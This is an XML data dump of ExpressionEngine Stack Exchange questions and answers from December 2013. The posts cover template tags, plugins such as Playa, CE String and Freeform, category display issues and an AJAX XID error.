  <row Id="17428" PostTypeId="1" AcceptedAnswerId="17430" CreationDate="2013-12-04T22:49:18.960" Score="0" ViewCount="624" Body="&lt;p&gt;I'm using a css file that uses channel entries tags so clients can update a background-image.  However, I have embed variables setup on my template that I want to pass into the css file, but it doesn't seem to work.  This is what I'm trying to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;contact&quot;}&#xA;    .{embed:body_class} #wrapper { background-image: url(&quot;{contact_header_photo:1920x425}&quot;); }&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where, in theory, &lt;code&gt;.{embed:body_class}&lt;/code&gt; would output &lt;code&gt;.contact&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="885" LastActivityDate="2013-12-05T20:08:43.487" Title="Can you use embed variables within a css file?" Tags="|css|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17430" PostTypeId="2" ParentId="17428" CreationDate="2013-12-04T23:41:36.117" Score="6" Body="&lt;p&gt;I've been done this sometimes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this code is used just on some pages, I suggest you to not use a CSS file, but the &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; tag on the head of the HTML. This situation doesn't even worth the download of the CSS: it's one single rule to be used just on one single page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be an &lt;code&gt;snippet&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{pr_channel}&quot;}&#xA;&amp;lt;style&amp;gt;&#xA;    #wrapper { background-image: url(&quot;{{pr_channel}_header_photo:1920x425}&quot;); }&#xA;&amp;lt;/style&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On every page, you can use a &lt;code&gt;preload_replace&lt;/code&gt;, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:pr_channel=&quot;contact&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are some variations of this technique you can use.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;By the way, you can use the &lt;code&gt;{path}&lt;/code&gt; variable to parse EE variables on the css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;{path='channel/channel_css'}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bluecoastweb.com/sandbox/blog/pros_and_cons_for_using_expressionengines_default_stylesheet_parser/&quot;&gt;This article&lt;/a&gt; talks about this. But the CSS &lt;strong&gt;will not&lt;/strong&gt; be an embed. An &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/embedding.html&quot;&gt;embed&lt;/a&gt; template is intended to be part of the current final file.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-12-05T01:49:55.223" LastActivityDate="2013-12-05T01:49:55.223" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17431" PostTypeId="2" ParentId="17424" CreationDate="2013-12-05T01:09:21.670" Score="3" Body="&lt;p&gt;You might try using &lt;a href=&quot;http://dvt.ee/ad3lKFB&quot; rel=&quot;nofollow&quot;&gt;Authentic&lt;/a&gt;, a plugin which specifically lets you set up basic authentication on arbitrary templates. &lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-12-05T01:09:21.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17432" PostTypeId="2" ParentId="17385" CreationDate="2013-12-05T01:29:57.243" Score="1" Body="&lt;p&gt;Dan, i will advice you to take some time and learn the basic concept behind EE -:)&#xA;There are free tutorials around, on &lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials&quot; rel=&quot;nofollow&quot;&gt;Train-ee&lt;/a&gt; for example you can follow the free tutorials. &lt;em&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/how_to/building_a_simple_news_site.html&quot; rel=&quot;nofollow&quot;&gt;Building a Simple News Site from Start to Finish&lt;/a&gt;&lt;/em&gt; is part of the official User Guide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show the 3 latest news, you can use this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;news&quot; limit=&quot;3&quot;}&#xA;&amp;lt;li&amp;gt;&#xA;&amp;lt;div class=&quot;date-box&quot;&amp;gt;&#xA;&amp;lt;span class=&quot;day&quot;&amp;gt;{entry_date format=&quot;%d&quot;}&amp;lt;/span&amp;gt;&#xA;&amp;lt;span class=&quot;month&quot;&amp;gt;{entry_date format=&quot;%M&quot;}&amp;lt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;txt&quot;&amp;gt;&#xA;&amp;lt;h5&amp;gt;&amp;lt;a href=&quot;{url_title_path='news'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;&amp;lt;span class=&quot;read&quot;&amp;gt;{YOUR_CUSTOM_FIELD}&amp;lt;/span&amp;gt;&#xA;&amp;lt;span class=&quot;info&quot;&amp;gt;{entry_date format=&quot;%F %j, %Y&quot;} | &amp;lt;a href=&quot;{url_title_path='news'}&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/li&amp;gt;                                               &#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="48" LastActivityDate="2013-12-05T01:29:57.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17434" PostTypeId="2" ParentId="17289" CreationDate="2013-12-05T06:01:12.627" Score="0" Body="&lt;p&gt;I have not had the need for sharing session between Magento and EE.  The clients using the admins have been pretty tech savvy so having the 2 admins have not been an issue once they were shown what admin did what.  Now if you have a client that is not very web savvy then not sure how that would go over but I have been lucky so far.&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2013-12-05T06:01:12.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17436" PostTypeId="2" ParentId="17406" CreationDate="2013-12-05T07:22:35.043" Score="3" Body="&lt;p&gt;If you're getting HTTP 403, rather than the cross-domain error that most people get, then you might be hitting the incompatible session bug. Assets uses Ajax to do a lot of things and that is processed via Frontend by EE, so if your Control Panel Session and User Session types are not compatible, the Ajax requests will think you're not logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cna try going to Admin -&gt; Security and Privacy -&gt; Security and Sessions and changing settings for &quot;Control Panel Session Type&quot; to &quot;Cookies and Session Id&quot;, and changing &quot;User Session Type&quot; to &quot;Cookies only&quot;. This should make sure that if you're authorized in the CP, when you access anything via front-end (such as any of Ajax requests), EE is able to recognise your credentials.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-12-05T07:22:35.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17437" PostTypeId="2" ParentId="12870" CreationDate="2013-12-05T10:29:55.600" Score="0" Body="&lt;p&gt;I thought I'd just update this, as other people may find it useful&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that the reason this started failing was that Barclaycard had done a major upgrade and migration of their payment system. They had informed the merchant, but the merchant, in their wisdom, didn't think it necessary to inform me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't believe that they didn't associate the transactions failing with the email from Barclaycard informing them of a major system upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D'Oh!&lt;/p&gt;&#xA;" OwnerUserId="1517" LastActivityDate="2013-12-05T10:29:55.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17438" PostTypeId="1" AcceptedAnswerId="17454" CreationDate="2013-12-05T10:40:42.550" Score="3" ViewCount="88" Body="&lt;p&gt;we have a big issue with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{event_related_media:child_ids limit=&quot;2&quot; status=&quot;Archived&quot; channel=&quot;video&quot; show_expired=&quot;no&quot; show_future_entries=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the following code, I get all the children entries id. None of the parameters are used to filter the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The official doc says explicitly that child_ids tag &quot;supports almost all of {exp:channel:entries}’ tag parameters&quot;, but, well, no...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be sure, I debug all SQL requests of the template, and whatever I used as channel name parameter (for instance, 'foo'), 'foo' is never used in any sql query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pv&lt;/p&gt;&#xA;" OwnerUserId="190" LastActivityDate="2013-12-05T17:14:28.367" Title="playa:child_ids parameters are not working" Tags="|playa|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17439" PostTypeId="1" AcceptedAnswerId="17444" CreationDate="2013-12-05T12:09:07.773" Score="1" ViewCount="95" Body="&lt;p&gt;Playa experts out there: I thought variable prefix parameter would solve this one, but perhaps I'm misunderstanding how it's intended to be used.  Here's what I'm trying to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries set=&quot;prod&quot; dynamic=&quot;no&quot; disable=&quot;pagination&quot;}&#xA;&amp;lt;li class=&quot;{if segment_1 == url_title} active{/if} has-dropdown&quot;&amp;gt;&amp;lt;a href=&quot;{path='{url_title}'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ul class=&quot;dropdown&quot;&amp;gt;&#xA;    &amp;lt;li class=&quot;has-dropdown&quot;&amp;gt;&amp;lt;a href=&quot;{path='{PROD_CHANNEL_url_title}/docs'}&quot;&amp;gt;API Docs&amp;lt;/a&amp;gt;&#xA;{exp:playa:parents channel=&quot;api&quot; field=&quot;cf_apis_related_product&quot;}&#xA;&amp;lt;ul class=&quot;dropdown&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='{PROD_CHANNEL_url_title}/docs/{API_CHANNEL_url_title}'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:playa:parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a namespacing way to get the url title from within the wrapping entries loop WITHIN the playa parents loop?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-12-05T12:21:11.173" LastActivityDate="2013-12-05T14:59:02.203" Title="Resolving conflict between variables between main loop and playa:parents loop" Tags="|playa|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17440" PostTypeId="1" AcceptedAnswerId="17582" CreationDate="2013-12-05T12:40:34.833" Score="3" ViewCount="521" Body="&lt;p&gt;I have the following code within a template &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{segment_2_category_name}&amp;lt;/h1&amp;gt;&#xA;{exp:channel:categories show=&quot;{segment_2_category_id}&quot; style=&quot;linear&quot; parent_only=&quot;no&quot;}&#xA;&#xA;    {category_description}&#xA;&#xA;    {if content-image}&#xA;        {exp:ce_img:pair src=&quot;{content-image}&quot; max_width=&quot;328&quot;}&#xA;         &amp;lt;img src=&quot;{made}&quot; alt=&quot;{segment_2_category_name}&quot;&amp;gt;&#xA;        {/exp:ce_img:pair}&#xA;    {/if}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This displays the category description, category image etc. and it works fine for top level categories. However, it doesn't display anything but the title for sub-categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked whether {segment_2_category_id} is being parsed by placing it inside the channel:categories tag and it outputs the ID as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a clue why this might not be working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;Removing the ce_img tags makes no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the pages concerned here;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.gillardcutting.com/applications/food-extrusion&quot; rel=&quot;nofollow&quot;&gt;http://www.gillardcutting.com/applications/food-extrusion&lt;/a&gt; (top level cat)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.gillardcutting.com/applications/dog-chews-dental-sticks&quot; rel=&quot;nofollow&quot;&gt;http://www.gillardcutting.com/applications/dog-chews-dental-sticks&lt;/a&gt; (sub cat)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a test template, cut back to the bare bones, in order to analyse the queries being run. The following query is executed;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT LOWER(cat_url_title) AS cat_url_title, `cat_id`, `parent_id`, `group_id`, `cat_name`, `cat_description`, `cat_image`&#xA;FROM (`exp_categories`)&#xA;WHERE `site_id` =  '1'&#xA;AND LOWER(cat_url_title) IN ('applications', 'test', 'dog-chews-dental-sticks') &#xA;AND `group_id` IN ('3', '2')  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I run this query directly on the database then I get back the expected category information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's as if, for some reason, the stuff between the opening and closing exp:channel:categories tag pair just isn't being parsed IF I'm dealing with a sub-category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site is running on EE 2.4 (so next step is to try an update) and is using Structure as well as Low Seg2Cat but I don't think either of these is the issue as everything is working as it should except for this particular issue (and even then only with subcategories).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that I must specify the parent category ID in order to get any child category information to display. This is despite my earlier finding regarding the query that is being executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even adding parent_only=&quot;no&quot; does not allow me to display child category data without also having the parent category included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an intentional feature or just some peculiarity/bug relating to the version of EE that this site is running?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Guess what? Another UPDATE - Workaround fix&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've figured out a workaround based on my findings, it's not perfect by any means and will break quite easily but will work OK in this particular instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I include the seg2cat tag to get the current category's parent id and include this in the show parameter, this ensures we can display the child data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To ONLY show the child data I then use a conditional to check the category being output in the loop against the seg2cat category id and only show it if it's the child category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories show=&quot;{segment_2_category_parent_id}|{segment_2_category_id}&quot; parent_only=&quot;no&quot; style=&quot;linear&quot;}&#xA;    {if '{category_id}' == '{segment_2_category_id}'}&#xA;&#xA;        {category_description}&#xA;&#xA;        {if content-image}&#xA;            {exp:ce_img:pair src=&quot;{content-image}&quot; max_width=&quot;328&quot;}&#xA;                &amp;lt;img src=&quot;{made}&quot; alt=&quot;{segment_2_category_name}&quot;&amp;gt;&#xA;            {/exp:ce_img:pair}&#xA;        {/if}&#xA;    {/if}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone can come up with a better way to do this I'd love to know!&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-12-10T12:07:16.300" LastActivityDate="2013-12-10T12:08:20.303" Title="Sub categories information not being displayed" Tags="|templates|categories|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17441" PostTypeId="2" ParentId="17380" CreationDate="2013-12-05T13:07:52.490" Score="2" Body="&lt;p&gt;I think you already have your answer but if you need an additional reference (albeit an old one) then take a look at the CRON job EE page template code for the 'Paid Members' extension, you drop this into a EE template, enable PHP and then call it using a CRON job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ninefour/paid_members.ext.ee_addon/blob/master/templates/cron/expireUsers.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ninefour/paid_members.ext.ee_addon/blob/master/templates/cron/expireUsers.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's EE1.x stuff but again might be useful as a reference.&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-12-05T13:07:52.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17442" PostTypeId="2" ParentId="17373" CreationDate="2013-12-05T13:19:21.483" Score="1" Body="&lt;p&gt;For those users who do not use WYGWAM take a look at CE String which elegantly solves this issue. (and lots more - a real swiss army chainsaw to use a Perl expression)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dvt.ee/cestring&quot; rel=&quot;nofollow&quot;&gt;http://dvt.ee/cestring&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the custom method docs take a look at 'encode_email_script' or encode_email_bulk&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string/user-guide/custom_methods&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-string/user-guide/custom_methods&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote the docs for usage of 'encode_email_bulk':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_str:ing encode_email_bulk=&quot;script&quot;}&#xA;    Ut wisi &amp;lt;a href=&quot;mailto:example@example.com&quot;&amp;gt;Example&amp;lt;/a&amp;gt; enim ad minim veniam, quis nostrud test@example.com.&#xA;{/exp:ce_str:ing}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Ut wisi &amp;lt;span data-eeEncEmail_GDleXCqLAm='1'&amp;gt;.(JavaScript must be enabled to view this email address)&amp;lt;/span&amp;gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;/*&amp;lt;![CDATA[*/var out = '',el = document.getElementsByTagName('span'),l = ['&amp;gt;','a','/','&amp;lt;',' 101',' 108',' 112',' 109',' 97',' 120',' 69','&amp;gt;','\&quot;',' 109',' 111',' 99',' 46',' 101',' 108',' 112',' 109',' 97',' 120',' 101',' 64',' 101',' 108',' 112',' 109',' 97',' 120',' 101',':','o','t','l','i','a','m','\&quot;','=','f','e','r','h','a ','&amp;lt;'],i = l.length,j = el.length;while (--i &amp;gt;= 0){out += unescape(l[i].replace(/^\s\s*/, '&amp;amp;#'));}while (--j &amp;gt;= 0){/**/if (el[j].getAttribute('data-eeEncEmail_GDleXCqLAm')){el[j].innerHTML = out;}}/*]]&amp;gt;*/&amp;lt;/script&amp;gt; enim ad minim veniam, quis nostrud &amp;lt;span data-eeEncEmail_qxlETSuEFT='1'&amp;gt;.(JavaScript must be enabled to view this email address)&amp;lt;/span&amp;gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;/*&amp;lt;![CDATA[*/var out = '',el = document.getElementsByTagName('span'),l = ['&amp;gt;','a','/','&amp;lt;',' 46',' 109',' 111',' 99',' 46',' 101',' 108',' 112',' 109',' 97',' 120',' 101',' 64',' 116',' 115',' 101',' 116','&amp;gt;','\&quot;',' 46',' 109',' 111',' 99',' 46',' 101',' 108',' 112',' 109',' 97',' 120',' 101',' 64',' 116',' 115',' 101',' 116',':','o','t','l','i','a','m','\&quot;','=','f','e','r','h','a ','&amp;lt;'],i = l.length,j = el.length;while (--i &amp;gt;= 0){out += unescape(l[i].replace(/^\s\s*/, '&amp;amp;#'));}while (--j &amp;gt;= 0){/**/if (el[j].getAttribute('data-eeEncEmail_qxlETSuEFT')){el[j].innerHTML = out;}}/*]]&amp;gt;*/&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="173" LastActivityDate="2013-12-05T13:19:21.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17444" PostTypeId="2" ParentId="17439" CreationDate="2013-12-05T13:28:36.667" Score="3" Body="&lt;p&gt;This is what the &lt;code&gt;var_prefix=&quot;&quot;&lt;/code&gt; parameter is for. Update your code like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries set=&quot;prod&quot; dynamic=&quot;no&quot; disable=&quot;pagination&quot;}&#xA;...&#xA;    {exp:playa:parents channel=&quot;api&quot; field=&quot;cf_apis_related_product&quot; var_prefix=&quot;api&quot;}&#xA;    &amp;lt;ul class=&quot;dropdown&quot;&amp;gt;&#xA;         &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='{PROD_CHANNEL_url_title}/docs/{api:url_title}'}&quot;&amp;gt;{api:title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    {/exp:playa:parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastEditorUserId="197" LastEditDate="2013-12-05T14:59:02.203" LastActivityDate="2013-12-05T14:59:02.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17445" PostTypeId="1" CreationDate="2013-12-05T13:38:08.360" Score="1" ViewCount="80" Body="&lt;p&gt;I use the Rating module.&#xA;I need to get bayesian rating value for every entry but not simply average summ. Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part of my template (this is standard example for Rating module usage):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:rank collection=&quot;Book Reviews&quot; orderby=&quot;bayesian:overall&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot; dynamic=&quot;off&quot;}&#xA;    &amp;lt;div class=&quot;entries&quot;&amp;gt;&#xA;       &amp;lt;h4&amp;gt;{exp:rating:stats collection=&quot;Book Reviews&quot; entry_id=&quot;{entry_id}&quot; precision=&quot;1&quot;}&amp;lt;span style=&quot;float:right;&quot;&amp;gt;{stars_overall_avg} ({overall_avg}/5, based on {overall_count} review{if overall_count !=&quot;1&quot;}s{/if})&amp;lt;/span&amp;gt;{/exp:rating:stats}&#xA;       &amp;lt;a href=&quot;{url_title_path='rating_main/entry'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;       &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;{entry_id}&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Author: &amp;lt;a href=&quot;{path='rating_main/author_profile'}/{author_id}/&quot;&amp;gt;{author}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;       &amp;lt;p&amp;gt;Description: {if summary}{summary}{if:else}{body}{/if}&amp;lt;/p&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;   {if rating_no_results}&amp;lt;p&amp;gt;No results.&amp;lt;/p&amp;gt;{/if}&#xA;   {rating_paginate}&#xA;       &amp;lt;hr /&amp;gt;&#xA;      &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages &amp;amp;nbsp; {pagination_links}&amp;lt;/p&amp;gt;&#xA;   {/rating_paginate}&#xA;{/exp:rating:rank}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zF0vT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards,&#xA;Aleksey&lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="2362" LastEditDate="2013-12-08T13:07:40.727" LastActivityDate="2013-12-08T13:07:40.727" Title="Bayesian rating values on entries page" Tags="|solspace|solspace-rating|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17446" PostTypeId="2" ParentId="17445" CreationDate="2013-12-05T13:46:42.667" Score="2" Body="&lt;p&gt;I think you would need to write a custom plugin for this. It should be simple enough to pass an entry ID to a plugin, and then from the plugin query for the needed rating data and follow an algorithm to calculate the rating you need.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-12-05T13:46:42.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17447" PostTypeId="2" ParentId="17440" CreationDate="2013-12-05T13:47:34.770" Score="2" Body="&lt;p&gt;can you try this..&#xA;if you don't mind using &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{segment_2_category_name}&amp;lt;/h1&amp;gt;&#xA;{exp:channel:entries channel=&quot;applications&quot; limit=&quot;1&quot;}&#xA;{exp:gwcode_categories cat_url_title=&quot;{segment_2}&quot; style=&quot;linear&quot;}&#xA;{category_description}&#xA;{if content-image}&#xA;{exp:ce_img:pair src=&quot;{content-image}&quot; max_width=&quot;328&quot;}&#xA;&amp;lt;img src=&quot;{made}&quot; alt=&quot;{segment_2_category_name}&quot;&amp;gt;&#xA;{/exp:ce_img:pair}&#xA;{/if}&#xA;{/exp:gwcode_categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="48" LastEditorUserId="48" LastEditDate="2013-12-05T15:22:13.517" LastActivityDate="2013-12-05T15:22:13.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17448" PostTypeId="1" CreationDate="2013-12-05T13:54:33.677" Score="1" ViewCount="67" Body="&lt;p&gt;I have a blank plugin page with no error. Error reporting is on and I have added this to the backend index:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ini_set('display_errors', 1); &#xA;error_reporting(E_ALL);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing. Anyone know of another method? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2013-12-05T13:54:33.677" Title="Debug plugins page" Tags="|error|plugin|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17450" PostTypeId="1" CreationDate="2013-12-05T15:06:32.647" Score="1" ViewCount="61" Body="&lt;p&gt;Does anyone know if Freeform's prevent_duplicate_on=&quot;ip_address&quot; bug has been fixed?&#xA;It's still not working for me, though I'm using 4.0.12.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has v.4.1.3 fixed this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter T&lt;/p&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2014-02-17T00:35:21.307" Title="prevent_duplicate_on still not working?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17451" PostTypeId="1" CreationDate="2013-12-05T15:27:00.217" Score="3" ViewCount="948" Body="&lt;p&gt;I try to implement infinite scrolling in EE 2.7.2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2 templates: &quot;infinite_scrolling_main&quot; and &quot;infinite_scrolling_embed&quot;. There are no forms in any of these two templates. AJAX call from the page outputted by template &quot;infinite_scrolling_main&quot; should fetch the data outputted by template &quot;infinite_scrolling_embed&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This setting worked correctly prior to EE 2.7. But after upgrade to 2.7.2 any AJAX call outputs error message &quot;The action you have requested is invalid&quot; instead of proper data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This issue seems to be related to XID handling. If I set &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['secure_forms'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;AJAX works correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should be done to keep secure forms and to be able to fetch data via AJAX in EE2.7.2?&lt;/p&gt;&#xA;" OwnerUserId="2454" LastActivityDate="2013-12-18T15:28:00.933" Title="Error &quot;The action you have requested is invalid&quot; while fetching data via AJAX in EE 2.7.2" Tags="|forms|ajax|xid|secure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
